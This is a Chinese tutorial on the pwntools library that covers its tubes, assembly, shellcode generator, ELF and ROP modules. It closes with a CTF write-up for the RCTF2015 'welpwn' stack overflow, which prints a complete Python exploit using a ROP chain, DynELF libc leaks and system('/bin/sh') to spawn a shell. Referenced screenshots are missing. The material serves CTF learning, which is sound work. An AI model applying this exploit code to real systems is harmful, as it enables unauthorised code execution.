Pwntools安装,一条命令就能搞定
pip install --upgrade pwntools
安装完毕后在python环境下只需使用
from pwn import *
即可导入
这会将大量的功能导入到全局命名空间,然后我们就可以直接使用单一的函数进行汇编、反汇编、pack,unpack等操作。
常用的模块有下面几个:
asm : 汇编与反汇编,支持x86/x64/arm/mips/powerpc等基本上所有的主流平台
dynelf : 用于远程符号泄漏,需要提供leak方法
elf : 对elf文件进行操作
gdb : 配合gdb进行调试
memleak : 用于内存泄漏
shellcraft : shellcode的生成器
tubes : 包括tubes.sock, tubes.process, tubes.ssh, tubes.serialtube,分别适用于不同场景的PIPE
utils : 一些实用的小功能,例如CRC计算,cyclic pattern等
Tubes读写接口
这是exploit最为基础的部分,对于一次攻击而言前提就是与目标服务器或者程序进行交互,这里就可以使用remote(address, port)产生一个远程的socket然后就可以读写了
先来看看pwntools建立连接的功能
现在一台kali上开启ftp服务
然后在安装了pwntools的机器上使用如下命令进行连接
这里是模拟了使用anonymous用户登录ftp服务的场景
pwntools还有创建监听器的功能,如下所示
上图中是自动监听41375端口,然后模仿发送hello消息,然后使用recv()进行接收。
通过pwnlib.tubes.process可以与进程进行交互
上图中是与/bin/sh进行交互,打印hello world
我们不单单可以通过编程的方式事先写好与进程交互的逻辑,还可以直接与进程交互
上图中通过interactive()进入了交互模式
无论哪种PIPE都是继承tube而来,可以用于读写函数主要有:
interactive() : 直接进行交互,相当于回到shell的模式,在取得shell之后使用
recv(numb=4096, timeout=default) : 接收指定字节
recvall() : 一直接收直到EOF
recvline(keepends=True) : 接收一行,keepends为是否保留行尾的\n
recvuntil(delims, drop=False) : 一直读到delims的pattern出现为止
recvrepeat(timeout=default) : 持续接受直到EOF或timeout
send(data) : 发送数据
sendline(data) : 发送一行数据,相当于在数据末尾加\n
汇编与反汇编
使用asm进行汇编
使用disasm进行反汇编
shellcode生成器
使用shellcraft可以生成对应的架构的shellcode代码,直接使用链式调用的方法就可以得到
如上所示,如果需要在64位的Linux上执行/bin/sh就可以使用shellcraft.amd64.linux.sh(),配合asm函数就能够得到最终的pyaload了。
除了直接执行sh之外,还可以进行其它的一些常用操作例如提权、反向连接等等
。
elf文件操作
在进行elf文件逆向的时候,总是需要对各个符号的地址进行分析,elf模块提供了一种便捷的方法能够迅速的得到文件内函数的地址,plt位置以及got表的位置
下图分别是打印文件装载的基地址、函数地址、GOT表的地址、PLT表的地址
其他可用的函数还包括:
asm(address, assembly) : 在指定地址进行汇编
bss(offset) : 返回bss段的位置,offset是偏移值
checksec() : 对elf进行一些安全保护检查,例如NX, PIE等。
disasm(address, n_bytes) : 在指定位置进行n_bytes个字节的反汇编
offset_to_vaddr(offset) : 将文件中的偏移offset转换成虚拟地址VMA
vaddr_to_offset(address) : 与上面的函数作用相反
read(address, count) : 在address(VMA)位置读取count个字节
write(address, data) : 在address(VMA)位置写入data
section(name) : dump出指定section的数据
ROP链生成器
回顾一下ROP的原理,由于NX开启不能在栈上执行shellcode,我们可以在栈上布置一系列的返回地址与参数,这样可以进行多次的函数调用,通过函数尾部的ret语句控制程序的流程,而用程序中的一些pop/ret的代码块(称之为gadget)来平衡堆栈。其完成的事情无非就是放上/bin/sh,覆盖程序中某个函数的GOT为system的,然后ret到那个函数的plt就可以触发system(’/bin/sh’)。由于是利用ret指令的exploit,所以叫Return-Oriented Programming。
这种技术的难点自然就是如何在栈上布置返回地址以及函数参数。而pwntools的ROP模块的作用,就是自动地寻找程序里的gadget,自动在栈上部署对应的参数。
使用ROP(elf)来产生一个rop的对象,这时rop链还是空的,需要在其中添加函数
ROP对象实现了__getattr__的功能,可以直接通过func call的形式来添加函数,rop.read(0, elf.bss(0x80))实际相当于rop.call(‘read’, (0, elf.bss(0x80)))。 通过多次添加函数调用,最后使用str将整个rop chain dump出来就可以了。
其他常用函数包括:
call(resolvable, arguments=()) : 添加一个调用,resolvable可以是一个符号,也可以是一个int型地址,注意后面的参数必须是元组否则会报错,即使只有一个参数也要写成元组的形式(在后面加上一个逗号)
chain() : 返回当前的字节序列,即payload
dump() : 直观地展示出当前的rop chain
raw() : 在rop chain中加上一个整数或字符串
search(move=0, regs=None, order=’size’) : 按特定条件搜索gadget,没仔细研究过
unresolve(value) : 给出一个地址,反解析出符号
另外,对于整数的pack与数据的unpack,可以使用p32,p64,u32,u64这些函数,分别对应着32位和64位的整数
接下来我们使用pwntools实战CTF题目
题目来自RCTF2015,名为welpwn
先看看程序的基本信息
可以知道,这是64位linux下的二进制程序,无cookie
通过IDA静态分析
main函数如下
伪码
read()函数读取字节数为0x400,即十进制的1024,即read()读取1024个字节的数据,随后调用echo()
定位到echo()
可以看到echo函数的栈帧大小为20h
echo的伪码
可以知道,echo函数中存在循环赋值,循环的次数为read函数读的数据的长度
由于echo函数的栈桢大小(20h)远小于read函数可以读取的数据长度(400h),在进行循环赋值的时候,echo函数保存在栈中的返回地址会被覆盖。
整个程序逻辑是这样的,main函数中,用户可以输入1024个字节,并通过echo函数将输入复制到自身栈空间,但该栈空间很小,使得栈溢出成为可能。由于复制过程中,以“x00”作为字符串终止符,故如果我们的payload中存在这个字符,则不会复制成功;但实际情况是,因为welpwn的NX为enabled,即设置了栈不可执行,所以我们需要构造ROP链,这样肯定会在payload中包含“x00”字符。
那么怎么绕过这个障碍呢?
由于echo函数的栈空间很小,与main函数栈中的输入字符串之间只间隔32字节(0x20h),故我们可以只复制过去24字节数据加上一个包含连续4个pop指令的gadget地址(8字节),并借助这个gadget跳过原字符串的前32字节数据,即可进入我们正常的通用gadget调用过程
绕过这个障碍后,解题思路就很清晰了:
泄露libc,获取system,gets等函数地址
构造gets(bss);将’/bin/sh’写入bss段
构造’system("/bin/sh")'得到shell
使用ROPgadgets寻找gadgets,用于构造ROP链
找到main函数地址,用作返回地址
bss段开始地址,用于存储字符串(‘/bin/sh’)
puts(plt)地址,用于泄露内存
构造ROP链,泄露内存
rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
payload = "A" * 24 + p64(ppppr) + rop
利用pwnlib中DynELF模块泄露libc中system和puts地址
def leak(addr):
rop = p64(poprdi) + p64(addr) + p64(puts_plt) + p64(main)
payload = "A" * 24 + p64(ppppr) + rop
p.sendline(payload)
p.recv(27)
tmp = p.recv()
data = tmp.split("\nWelcome")[0]
if len(data):
return data
else:
return '\x00'
d = DynELF(leak, elf=ELF('welpwn'))
system = d.lookup('system', 'libc')
gets = d.lookup('gets', 'libc')
构造ROP链将'/bin/sh'写入bss段,并执行system("/bin/sh"):
rop = p64(poprdi) + p64(bss) + p64(gets) + p64(poprdi) + p64(bss) + p64(system) + p64(0xdeadbeef)
payload = "A"*24 + p64(ppppr) + rop
from pwn import *
p = process('welpwn')
context(arch='amd64', os='linux')
elf = ELF('welpwn')
read_got = elf.symbols['got.read']
log.info("read_got = " + hex(read_got))
write_got = elf.symbols['got.write']
log.info("write_got = " + hex(write_got))
main = elf.symbols['main']
log.info("main = " + hex(main))
buflen = 24
mmmcall = 0x400880
ppppppr = 0x40089a
ppppr = 0x40089c
padding = 0xdeadbeef
flag = 0
def leak(address):
global flag
payload = ""
payload += "Q" * buflen
payload += p64(ppppr)
payload += p64(ppppppr)
rbx = 0
rbp = 1
r12 = write_got
r13 = 8
r14 = address
r15 = 1
ret = mmmcall
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(padding) * 7 + p64(ret)
p.recvuntil('RCTF\n')
p.sendline(payload)
if flag:
p.recv(0x1b)
data = p.recv(8)
log.info("recv: " + str(data))
flag += 1
return data
d = DynELF(leak, elf=ELF('welpwn'))
system = d.lookup('system', 'libc')
log.info("system addr = " + hex(system))
bss = 0x601300
payload = ""
payload += "P" * buflen
payload += p64(ppppr)
payload += p64(ppppppr)
rbx = 0
rbp = 1
r12 = read_got
r13 = 17
r14 = bss
r15 = 0
ret = mmmcall
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(padding) * 7 + p64(ret)
p.recvuntil("RCTF\n")
p.sendline(payload)
sleep(1)
p.sendline("/bin/sh\0"+ p64(system))
check = ""
check += "C" * buflen
check += p64(ppppr)
check += p64(ppppppr)
rbx = 0
rbp = 1
r12 = write_got
r13 = 16
r14 = bss
r15 = 1
ret = mmmcall
check += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
check += p64(padding) * 7 + p64(ret)
p.recvuntil("RCTF\n")
p.sendline(check)
sleep(1)
p.recv(0x1b)
log.info("recv:" + p.recv(16).encode('hex'))
payload = ""
payload += "R" * buflen
payload += p64(ppppr)
payload += p64(ppppppr)
rbx = 0
rbp = 1
r12 = bss+0x8
r13 = bss
r14 = bss
r15 = bss
ret = mmmcall
payload += p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15) + p64(ret)
ret = main
payload += p64(padding) * 7 + p64(ret)
p.recvuntil("RCTF\n")
p.sendline(payload)
sleep(0.5)
p.recv()
p.interactive()